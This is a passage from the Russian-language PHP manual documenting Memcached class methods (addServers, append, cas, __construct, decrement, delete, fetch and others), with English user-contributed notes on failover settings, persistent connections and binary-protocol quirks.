                $this->obj = new Memcached($id);
        }

        public function connect($host , $port){
                $servers = $this->obj->getServerList();
                if(is_array($servers)) {
                        foreach ($servers as $server)
                                if($server['host'] == $host and $server['port'] == $port)
                                        return true;
                }
                return $this->obj->addServer($host , $port);
        }

}
?>
Robbie De Lise 22-Aug-2011 10:08
On my Debian Squeeze system I was getting WRITE FAILURE errors. After debugging and finally tcpdump it seems that the problem was me adding the server 'localhost', which resolved to '::1' (ipv6) while the default memcached server on debian only listens to '127.0.0.1' (ipv4). DNS automatically prefers ipv6 over ipv4.

I added the server '127.0.0.1' instead and everything worked. You could also disable ipv6 or have memcached listen on ::1


Добавляет несколько серверов в пул

  • « Memcached::addServer
  • Memcached::append »
  • PHP Manual
  • Memcached
  • Добавляет несколько серверов в пул

Memcached::addServers

(PECL memcached >= 0.1.1)

Memcached::addServers — Добавляет несколько серверов в пул

Описание

public Memcached::addServers(array $servers): bool

Memcached::addServers() добавляет сервера, указанные в массиве servers, в общий пул. Каждый элемент массива servers представляет собой массив, содержащий имя хоста, порт и, необязательно, весовой коэффициент сервера. Соединение с серверами при этом не устанавливается.

Один и тот же сервер может встречаться в пуле несколько раз, потому что никаких проверок на дублирование вхождений нет. Но это не целесообразно; вместо этого нужно использовать параметр weight для повышения приоритета данного сервера.

Список параметров

array

Массив с серверами для добавления в пул.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcached::addServers()

<?php
$m = new Memcached();

$servers = array(
array('mem1.domain.com', 11211, 33),
array('mem2.domain.com', 11211, 67)
);
$m->addServers($servers);
?>

Смотрите также

  • Memcached::addServer() - Добавляет сервер в пул
  • Memcached::resetServerList() - Очищает список серверов

User Contributed Notes

Aliaser 03-Mar-2016 07:44
For a proper FailOver mechanism:

$memcached = new Memcached();
$memcached->setOption(Memcached::OPT_CONNECT_TIMEOUT, 10);
$memcached->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcached->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 2);
$memcached->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcached->setOption(Memcached::OPT_RETRY_TIMEOUT, 1);
$memcached->addServers($servers);

Memcached::OPT_DISTRIBUTION: set it to consistent hashing. If one memcached node is dead, its keys (and only its keys) will be evenly distributed to other nodes. This is where the magic is done. This is really different from removing one server in your ->addServers() call.

Memcached::OPT_SERVER_FAILURE_LIMIT: number of connection issues before a server is marked as DEAD, and removed from the list of servers (default: 5).

Memcached::OPT_REMOVE_FAILED_SERVERS: set it to «true», to enable the removal of dead servers.

Memcached::OPT_RETRY_TIMEOUT: after a node is declared DEAD, libmemcached will try it again after that many seconds. Here I've set it to 1 second, but I'm working on PHP scripts that run for less than 100ms most of the time. That would only be useful for cron/daemonize scripts.

Memcached::OPT_CONNECT_TIMEOUT: the timeout after which a server is considered DEAD. As my servers are on the same LAN, ping is ~0.5ms, so 10ms is large enough to consider the server is DEAD. Note that you have to wait twice that time before a node is marked DEAD, so if it's 1000ms, your script will lock for 2 seconds before ignoring the DEAD server. That may affect your response times a lot, and that's why I've set it very low

Author of this is Yvan from Dugwood
Michael Brenden 17-Feb-2011 03:27
See the note for __construct()

Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon.


Добавляет данные к существующей записи

  • « Memcached::addServers
  • Memcached::appendByKey »
  • PHP Manual
  • Memcached
  • Добавляет данные к существующей записи

Memcached::append

(PECL memcached >= 0.1.0)

Memcached::append — Добавляет данные к существующей записи

Описание

public Memcached::append(string $key, string $value): ?bool

Memcached::append() добавляет переданную в value строку к существующей записи. Причина того, что value приводится к строке в том, что добавление смешанных типов не определено.

Замечание:

Если параметр Memcached::OPT_COMPRESSION установлен, то операция будет завершена ошибкой и будет выведено предупреждение, потому что добавление сжатых данных к записи, которая уже сжата, невозможно.

Список параметров

key

Ключ, под которым сохраняется значение.

value

Строка для добавления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Возвращает null, если сжатие включено.

Ошибки

Возвращает null и выдаёт ошибку уровня E_WARNING, если сжатие включено.

Примеры

Пример #1 Пример использования Memcached::append()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->append('foo', 'def');
var_dump($m->get('foo'));
?>

Результат выполнения данного примера:

string(6) "abcdef"

Смотрите также

  • Memcached::appendByKey() - Добавляет данные к существующей записи на заданном сервере
  • Memcached::prepend() - Добавляет данные в начало существующей записи

User Contributed Notes

mattsch at gmail dot com 31-Mar-2015 01:48
This method emits this php warning if OPT_COMPRESSION is not explicitly set to false (tested with libmemcached 1.0.18 & pecl-memcached 2.1.0):

PHP Warning:  Memcached::append(): cannot append/prepend with compression turned on


Добавляет данные к существующей записи на заданном сервере

  • « Memcached::append
  • Memcached::cas »
  • PHP Manual
  • Memcached
  • Добавляет данные к существующей записи на заданном сервере

Memcached::appendByKey

(PECL memcached >= 0.1.0)

Memcached::appendByKey — Добавляет данные к существующей записи на заданном сервере

Описание

public Memcached::appendByKey(string $server_key, string $key, string $value): ?bool

Memcached::appendByKey() работает аналогично методу Memcached::append(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ, под которым сохраняется значение.

value

Строка для добавления в конец существующей записи.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Возвращает null, если сжатие включено.

Ошибки

Возвращает null и выдаёт ошибку уровня E_WARNING, если сжатие включено.

Смотрите также

  • Memcached::append() - Добавляет данные к существующей записи
  • Memcached::prepend() - Добавляет данные в начало существующей записи

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает и устанавливает значение для записи

  • « Memcached::appendByKey
  • Memcached::casByKey »
  • PHP Manual
  • Memcached
  • Сравнивает и устанавливает значение для записи

Memcached::cas

(PECL memcached >= 0.1.0)

Memcached::cas — Сравнивает и устанавливает значение для записи

Описание

public Memcached::cas(
string|int|float $cas_token,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::cas() осуществляет проверку и установку значения записи, новое значение будет сохранено, только если другие клиенты не обновили его со времени последнего обращения этим клиентом. Эта проверка осуществляется с помощью параметра cas_token, который представляет собой 64-битное значение присвоенное существующей записи сервером memcache. Обратитесь к документации метода Memcached::get*(), который используется для получения этого токена. Обратите внимание, что токен представлен в виде числа с плавающей точкой из-за ограничений диапазона значений целочисленного типа в PHP.

Список параметров

cas_token

Уникальное значение, связанное с существующей записью. Генерируется сервером memcache.

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_DATA_EXISTS если запись которую вы пытаетесь сохранить была изменена с момента последнего обращения.

Примеры

Пример #1 Пример использования Memcached::cas()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

do {
/* fetch IP list and its token */
$ips = $m->get('ip_block', null, $cas);
/* if list doesn't exist yet, create it and do
an atomic add which will fail if someone else already added it */
if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
$ips = array($_SERVER['REMOTE_ADDR']);
$m->add('ip_block', $ips);
/* otherwise, add IP to the list and store via compare-and-swap
with the token, which will fail if someone else updated the list */
} else {
$ips[] = $_SERVER['REMOTE_ADDR'];
$m->cas($cas, 'ip_block', $ips);
}
} while ($m->getResultCode() != Memcached::RES_SUCCESS);

?>

Смотрите также

  • Memcached::casByKey() - Сравнивает и устанавливает значение для записи на конкретном сервере

User Contributed Notes

Haravikk 18-Aug-2017 07:26
I'm not sure whether this remains true in the newer versions of the Memcached module (v3.0 onwards) but in the version shipped with PHP 5.6 the return value and result code when using this method with OPT_BINARY_PROTOCOL enabled are entirely useless.

Setting a value successful may return true, with a result code of RES_END, but it may also return true with a result code of RES_SUCCESS.

However, *unsuccessfully* setting a value likewise seems to return true and RES_SUCCESS, effectively rendering this function's return value useless with the binary protocol enabled as it is impossible to distinguish success from failure.

If you need to rely on the return value of this method then I strongly recommend disabling the binary protocol under PHP 5.6, as in its current state the common memcached module is too broken otherwise for CAS usage.

Hopefully someone else can weigh in on whether this is still broken in newer versions or not.
php at sergentet dot fr 25-May-2017 09:59
To prevent a perpetual loop on any Memcached error, you can add a simple counter :

$security_count = 0;

do {
        //[]....
        $security_loop++
        if ($security_loop > 10) {
                break;     //( or return "your return value" on a function )
        }
} while ($m->getResultCode() != Memcached::RES_SUCCESS);
sparcbr at gmail dot com 11-Oct-2016 04:11
Do not check command success in a while loop with something like

$memCached->getResultCode() != Memcached::RES_SUCCESS

Memcached::RES_SERVER_ERROR or anything like this and your script will loop forev
abodera at gmail dot com 27-Apr-2010 01:19
Watch out!

When using binary protocol, the expected result after cas() is 21 (Memcached::RES_END).

For example, to make the above example #1 work with binary protocol, use the following:
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_BINARY_PROTOCOL,true)

// [...]

    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_END);
?>


Сравнивает и устанавливает значение для записи на конкретном сервере

  • « Memcached::cas
  • Memcached::__construct »
  • PHP Manual
  • Memcached
  • Сравнивает и устанавливает значение для записи на конкретном сервере

Memcached::casByKey

(PECL memcached >= 0.1.0)

Memcached::casByKey — Сравнивает и устанавливает значение для записи на конкретном сервере

Описание

public Memcached::casByKey(
string|int|float $cas_token,
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::casByKey() работает аналогично методу Memcached::cas(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки key на конкретный сервер. Это полезно когда необходимо держать несколько связанных значений на конкретном сервере.

Список параметров

cas_token

Уникальное значение, связанное с существующей записью. Генерируется сервером memcache.

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_DATA_EXISTS если запись которую вы пытаетесь сохранить была изменена с момента последнего обращения.

Смотрите также

  • Memcached::cas() - Сравнивает и устанавливает значение для записи

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр класса Memcached

  • « Memcached::casByKey
  • Memcached::decrement »
  • PHP Manual
  • Memcached
  • Создаёт экземпляр класса Memcached

Memcached::__construct

(PECL memcached >= 0.1.0)

Memcached::__construct — Создаёт экземпляр класса Memcached

Описание

public Memcached::__construct(?string $persistent_id = null, ?callable $callback = null, ?string $connection_str = null)

Создаёт экземпляр класса Memcached, осуществляющий соединение с сервером memcache.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

persistent_id

По умолчанию экземпляр класса Memcached уничтожается в конце запроса. Для создания экземпляра, который сохраняется между запросами, необходимо использовать persistent_id, чтобы указать уникальный идентификатор для экземпляра. Все экземпляры класса, созданные с использованием одного и тот же идентификатора persistent_id будут использовать общее соединение.

callback

connection_str

Примеры

Пример #1 Создание экземпляра класса Memcached

<?php
/* Создаёт обычный экземпляр класса */
$m = new Memcached();
echo get_class($m);

/* Создаёт устойчивый экземпляр класса */
$m2 = new Memcached('story_pool');
$m3 = new Memcached('story_pool');

/* Теперь объекты $m2 и $m3 используют общее соединение */
?>

User Contributed Notes

kangzjnet at gmail dot com 21-Jan-2013 09:29
To enable automatic failover, you have to set OPT_REMOVE_FAILED_SERVERS option, which is supported by php-memcached 2.0.0b2 or above.

Here is the example,
<?php
$memcache = new Memcached ( 'a_mem_pool' );
$ss = $memcache->getServerList ();
if (empty ( $ss )) {
$memcache->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_SEND_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_TCP_NODELAY, true);
$memcache->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 50);
$memcache->setOption(Memcached::OPT_CONNECT_TIMEOUT, 500);
$memcache->setOption(Memcached::OPT_RETRY_TIMEOUT, 300);
$memcache->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcache->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcache->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$memcache->addServer ( '10.10.1.75', 11211, 1 );
$memcache->addServer ( '10.10.1.76', 11211, 1 );
$memcache->addServer ( '10.10.1.77', 11211, 1 );
}
?>
enknamel AT gmail DOT com 13-Dec-2011 02:53
This was causing me to tear my hair out since I listened to the comments posted here.

If you enable persistence, the options you set will persist as well AND certain options if you set them with persistence enabled WILL CLOSE ALL YOUR PERSISTED CONNECTIONS. This is a part of libmemcached that the memcached extensions is built against. You can verify this by running strace.

So this is what you should do:

<?php

$mem = new Memcached($myPoolId);

if(empty($mem->getServerList())) {
    //This code block will only execute if we are setting up a new EG(persistent_list) entry
    $mem->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
    $mem->setOption(Memcached::OPT_SEND_TIMEOUT, 3000);
    $mem->setOption(Memcached::OPT_TCP_NODELAY, true);
    $mem->setOption(Memcached::OPT_PREFIX_KEY, "md_");
    $mem->addServer($myMemcahceIp, $myMemcachePort);
}

?>
clancy hood at gmail dot com 04-Jun-2011 01:32
If you're wanting to get started with Memcached on a relatively small project but need some scalability then it can make sense to allow $persistent_id to also denote both a key prefix and a server set which you define yourself.  This keeps both key separation and allocation of data sets to certain server(s) incredibly simple throughout the project's life, without hampering any of your options.

<?php

    // Here is the array which we will add to in the future
    $GLOBALS['memcached-sets'] = array (
        '_' => array (
            array('localhost', 11211)
        )
    );

    define('DEFAULT_MEMCACHED_SET', '_');

    function mcache( $persistent_id=DEFAULT_MEMCACHED_SET ) {

        // one instantiation per-connection per-request
        static $memcached_instances = array();

        if( array_key_exists($persistent_id, $memcached_instances)) {
            $instance = $memcached_instances[$persistent_id];
        }else{
            $instance = new Memcached($persistent_id);
            $instance->setOption(Memcached::OPT_PREFIX_KEY, $persistent_id);
            $instance->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true); // advisable option

            // Add servers if no connections listed. Get server set by $persistent_id or use default set.
            // In a production environment with multiple server sets you may wish to prevent typos from silently adding data
            // to the default pool, in which case return an error on no match instead of defaulting
            if( !count($instance->getServerList()) ) {
                $servers = array_key_exists($persistent_id, $GLOBALS['memcached-sets'])
                    ? $GLOBALS['memcached-sets'][$persistent_id]
                    : $GLOBALS['memcached-sets'][DEFAULT_MEMCACHED_SET];
                $instance->addServers($servers);
            }

            $memcached_instances[$persistent_id] = $instance;
        }
        return $instance;
    }

    // simple example
    mcache()->set('foo', 'bar');
    mcache('myset')->set('foo', 'baz');

    var_dump(mcache()->get('foo'), mcache('myset')->get('foo'));

?>

string(3) "bar"
string(3) "baz"

Just remember to keep your $persistent_ids short as they infringe upon your maximum key length.  Happy coding! :)
Tobias 17-Feb-2011 07:24
Note that with this Memcached interface, if one or more underlying memcached daemons are down, suffering high network latency (over 1 second by default), or have crashed, then there still will be no warning, no error, no notice.  Everything will appear to work correctly, you just won't get proper results back.
Tobias 17-Feb-2011 03:48
Not positive, but it seems like the __construct() creates an instance of Memcache() class that lives (and stays alive) in at least the child Apache procs, if not the main Apache proc.

This (seems to) mean that Memcache daemons added to the server "pool" (via ->addServers() ) stay remembered.

This is why you do not want to call ->addServers() every time your script runs, because ->addServers() does not check for dups and will add hundreds or thousands of connections to the memcached daemon proc from the Apache proc(s).

One side effect is that any other scripts (even across different website domains) can also add to your server "pool" (if they know the server pool name, or if they can get it from the memcached daemon itself (not sure if/how this is possible), or if you or your team has coded several sites using the same server pool (i.e., new Memcached( 'same-server-pool-name' ) ).  This may present a security hole.
jeroen at 4worx dot com 16-Nov-2009 02:51
Using multiple memcached instances with options in combination with persistent connections might be confusing:

<?php

$a = new Memcached('memcached_pool');
$a->setOption(Memcached::OPT_COMPRESSION, false);

$b = new Memcached('memcached_pool');
$b->setOption(Memcached::OPT_COMPRESSION, true);

$a->add('key', 'some data');

?>

You might think that connection $a will store everything uncompressed, but this is not the case.
The persistent connection options are changed by the second object creation.
tschundler at gmail dot com 15-Sep-2009 02:43
When using persistent connections, it is important to not re-add servers.

This is what you do not want to do:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$mc->addServers(array(
    array('mc1.example.com',11211),
    array('mc2.example.com',11211),
));
?>
Every time the page is loaded those servers will be appended to the list resulting in many simultaneous open connections to the same server. The addServer/addServers functions to not check for existing references to the specified servers.

A better approach is something like:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
if (!count($mc->getServerList())) {
    $mc->addServers(array(
        array('mc1.example.com',11211),
        array('mc2.example.com',11211),
    ));
}
?>


Уменьшает числовое значение записи

  • « Memcached::__construct
  • Memcached::decrementByKey »
  • PHP Manual
  • Memcached
  • Уменьшает числовое значение записи

Memcached::decrement

(PECL memcached >= 0.1.0)

Memcached::decrement — Уменьшает числовое значение записи

Описание

public Memcached::decrement(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::decrement() уменьшает числовое значение записи на величину, указанную в offset. Если значение записи не является числовым, то будет возвращена ошибка. Если функция уменьшит значение записи меньше нуля, будет установлено нулевое значение. Memcached::decrement() установит записи значение параметра initial_value если переданного ключа не существует.

Список параметров

key

Ключ уменьшаемой записи.

offset

Величина на которую уменьшается значение записи.

initial_value

Инициирующее значение, устанавливаемое записи, если ключа не существует.

expiry

Время, когда срок действия записи истекает.

Возвращаемые значения

Возвращает новое значение записи в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcached::decrement()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 5);
$n = $m->decrement('counter');
var_dump($n);

$n = $m->decrement('counter', 10);
var_dump($n);

var_dump($m->get('counter'));

$m->set('counter', 'abc');
$n = $m->increment('counter');
// Завершится неудачей т.к. значение записи не является числовым
var_dump($n);
?>

Результат выполнения данного примера:

int(4)
int(0)
int(0)
bool(false)

Смотрите также

  • Memcached::increment() - Увеличивает числовое значение записи
  • Memcached::incrementByKey() - Увеличивает числовое значение записи, хранимой на указанном сервере
  • Memcached::decrementByKey() - Уменьшает числовое значение записи, хранящееся на определённом сервере

User Contributed Notes

Pramod Patil 12-Sep-2014 06:48
Found possible bug :
decrement fails and returns -1  when memcached::OPT_BINARY_PROTOCOL is set to true.

tested on PECL Memcached 2.1.0 and libmemcached version 1.0.8
Pramod Patil 08-Sep-2014 11:54
decrement will not change TTL of the stored key/value.
jbaginski 18-Jan-2013 07:31
PECL memcached < 0.2.0

public int Memcached::decrement ( string $key [, int $offset = 1 ] )


Уменьшает числовое значение записи, хранящееся на определённом сервере

  • « Memcached::decrement
  • Memcached::delete »
  • PHP Manual
  • Memcached
  • Уменьшает числовое значение записи, хранящееся на определённом сервере

Memcached::decrementByKey

(PECL memcached >= 2.0.0)

Memcached::decrementByKey — Уменьшает числовое значение записи, хранящееся на определённом сервере

Описание

public Memcached::decrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::decrementByKey() уменьшает числовое значение записи на величину заданную в offset. Если значение записи не является числовым, то будет возвращена ошибка. Если функция уменьшит значение записи меньше нуля, будет установлено нулевое значение. Memcached::decrementByKey() установит записи значение параметра initial_value если переданного ключа не существует.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ уменьшаемой записи.

offset

Величина на которую уменьшается значение записи.

initial_value

Инициирующее значение, устанавливаемое записи, если ключа не существует.

expiry

Время, когда срок действия записи истекает.

Возвращаемые значения

Возвращает новое значение записи в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Memcached::decrement() - Уменьшает числовое значение записи
  • Memcached::increment() - Увеличивает числовое значение записи
  • Memcached::incrementByKey() - Увеличивает числовое значение записи, хранимой на указанном сервере

User Contributed Notes

There are no user contributed notes for this page.


Удаляет запись

  • « Memcached::decrementByKey
  • Memcached::deleteByKey »
  • PHP Manual
  • Memcached
  • Удаляет запись

Memcached::delete

(PECL memcached >= 0.1.0)

Memcached::delete — Удаляет запись

Описание

public Memcached::delete(string $key, int $time = 0): bool

Удаляет запись с ключом key с сервера.

Список параметров

key

Ключ удаляемой записи.

time

Время к течение которого сервер ожидает удаления записи.

Замечание: Начиная с версии memcached 1.3.0 (выпущена в 2009 году), функция больше не поддерживается. Передача ненулевого параметра time приведёт к возникновению ошибки при удалении. Метод Memcached::getResultCode() вернёт MEMCACHED_INVALID_ARGUMENTS.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTFOUND если заданный ключ не существует.

Примеры

Пример #1 Пример использования Memcached::delete()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->delete('key1');
?>

Смотрите также

  • Memcached::deleteByKey() - Удаляет запись с указанного сервера
  • Memcached::deleteMulti() - Удаляет несколько записей

User Contributed Notes

Pramod Patil 12-Sep-2014 07:09
--For PECL memcached 2.10--
delete used with second argument 'time' returns false and set the error code and message for invalid arguments unless used without Memcached::OPT_BINARY_PROTOCOL.

getResultCode() and getResultMessage() returns  38 and INVALID ARGUMENTS respectively.


Удаляет запись с указанного сервера

  • « Memcached::delete
  • Memcached::deleteMulti »
  • PHP Manual
  • Memcached
  • Удаляет запись с указанного сервера

Memcached::deleteByKey

(PECL memcached >= 0.1.0)

Memcached::deleteByKey — Удаляет запись с указанного сервера

Описание

public Memcached::deleteByKey(string $server_key, string $key, int $time = 0): bool

Memcached::deleteByKey() работает аналогично Memcached::delete(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ удаляемой записи.

time

Период времени, в течение которого сервер ожидает удаления записи.

Замечание: Начиная с версии memcached 1.3.0 (выпущена в 2009 году), функция больше не поддерживается. Передача ненулевого параметра time приведёт к возникновению ошибки при удалении. Метод Memcached::getResultCode() вернёт MEMCACHED_INVALID_ARGUMENTS.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTFOUND если указанный ключ не существует.

Смотрите также

  • Memcached::delete() - Удаляет запись
  • Memcached::deleteMulti() - Удаляет несколько записей
  • Memcached::deleteMultiByKey() - Удаляет несколько записей с указанного сервера

User Contributed Notes

There are no user contributed notes for this page.


Удаляет несколько записей

  • « Memcached::deleteByKey
  • Memcached::deleteMultiByKey »
  • PHP Manual
  • Memcached
  • Удаляет несколько записей

Memcached::deleteMulti

(PECL memcached >= 2.0.0)

Memcached::deleteMulti — Удаляет несколько записей

Описание

public Memcached::deleteMulti(array $keys, int $time = 0): array

Удаляет записи, переданные в массиве keys с сервера.

Список параметров

keys

Ключ удаляемой записи.

time

Время к течение которого сервер ожидает удаления записи.

Замечание: Начиная с версии memcached 1.3.0 (выпущена в 2009 году), функция больше не поддерживается. Передача ненулевого параметра time приведёт к возникновению ошибки при удалении. Метод Memcached::getResultCode() вернёт MEMCACHED_INVALID_ARGUMENTS.

Возвращаемые значения

Возвращает массив с индексами keys и значениями обозначающими удачно или нет завершилась операция. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTFOUND если заданный ключ не существует.

Смотрите также

  • Memcached::delete() - Удаляет запись
  • Memcached::deleteByKey() - Удаляет запись с указанного сервера
  • Memcached::deleteMultiByKey() - Удаляет несколько записей с указанного сервера

User Contributed Notes

There are no user contributed notes for this page.


Удаляет несколько записей с указанного сервера

  • « Memcached::deleteMulti
  • Memcached::fetch »
  • PHP Manual
  • Memcached
  • Удаляет несколько записей с указанного сервера

Memcached::deleteMultiByKey

(PECL memcached >= 2.0.0)

Memcached::deleteMultiByKey — Удаляет несколько записей с указанного сервера

Описание

public Memcached::deleteMultiByKey(string $server_key, array $keys, int $time = 0): array

Memcached::deleteMultiByKey() работает аналогично Memcached::deleteMulti(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом keys на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

keys

Ключ удаляемой записи.

time

Время к течение которого сервер ожидает удаления записи.

Замечание: Начиная с версии memcached 1.3.0 (выпущена в 2009 году), функция больше не поддерживается. Передача ненулевого параметра time приведёт к возникновению ошибки при удалении. Метод Memcached::getResultCode() вернёт MEMCACHED_INVALID_ARGUMENTS.

Возвращаемые значения

Возвращает массив, проиндексированный ключами keys. Каждый элемент равен true, если соответствующий ключ был удалён или одной из констант Memcached::RES_*, если при удалении возникла ошибка.

Метод Memcached::getResultCode() вернёт код результата для последней выполненной операции удаления, то есть операции удаления для последнего элемента keys.

Смотрите также

  • Memcached::delete() - Удаляет запись
  • Memcached::deleteByKey() - Удаляет запись с указанного сервера
  • Memcached::deleteMulti() - Удаляет несколько записей

User Contributed Notes

There are no user contributed notes for this page.


Извлекает следующий результат

  • « Memcached::deleteMultiByKey
  • Memcached::fetchAll »
  • PHP Manual
  • Memcached
  • Извлекает следующий результат

Memcached::fetch

(PECL memcached >= 0.1.0)

Memcached::fetch — Извлекает следующий результат

Описание

public Memcached::fetch(): array|false

Memcached::fetch() получает следующий результат последнего запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает следующий результат запроса или false в противном случае. Метод Memcached::getResultCode() возвращает Memcached::RES_END если результирующая выборка закончилась.

Примеры

Пример #1 Пример использования Memcached::fetch()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
while ($result = $m->fetch()) {
var_dump($result);
}
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["key"]=>
  string(3) "int"
  "value"]=>
  int(99)
  ["cas"]=>
  float(2363)
}
array(3) {
  ["key"]=>
  string(5) "array"
  ["value"]=>
  array(2) {
    [0]=>
    int(11)
    [1]=>
    int(12)
  }
  ["cas"]=>
  float(2365)
}

Смотрите также

  • Memcached::fetchAll() - Извлекает все полученные записи
  • Memcached::getDelayed() - Запрашивает несколько записей

User Contributed Notes

There are no user contributed notes for this page.


Извлекает все полученные записи

  • « Memcached::fetch
  • Memcached::flush »
  • PHP Manual
  • Memcached
  • Извлекает все полученные записи

Memcached::fetchAll

(PECL memcached >= 0.1.0)

Memcached::fetchAll — Извлекает все полученные записи

Описание

public Memcached::fetchAll(): array|false

Memcached::fetchAll() извлекает все полученные записи последнего запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает результат запроса или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::getDelayed()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

Смотрите также

  • Memcached::fetch() - Извлекает следующий результат
  • Memcached::getDelayed() - Запрашивает несколько записей

User Contributed Notes

There are no user contributed notes for this page.


Аннулирует все записи в кеше

  • « Memcached::fetchAll
  • Memcached::get »
  • PHP Manual
  • Memcached
  • Аннулирует все записи в кеше

Memcached::flush

(PECL memcached >= 0.1.0)

Memcached::flush — Аннулирует все записи в кеше

Описание

public Memcached::flush(int $delay = 0): bool

Memcached::flush() аннулирует все существующие записи в кеше незамедлительно (по умолчанию) или по истечении периода времени, указанного в delay. После инвалидации никакие записи не будут возвращены в ответ на запросы команд получения данных (если записи небыли сохранены под теми же ключами после вызова Memcached::flush()). В действительности, инвалидация кеша не освобождает всю память, занимаемую записями; это происходит постепенно по мере заполнения новыми записями.

Список параметров

delay

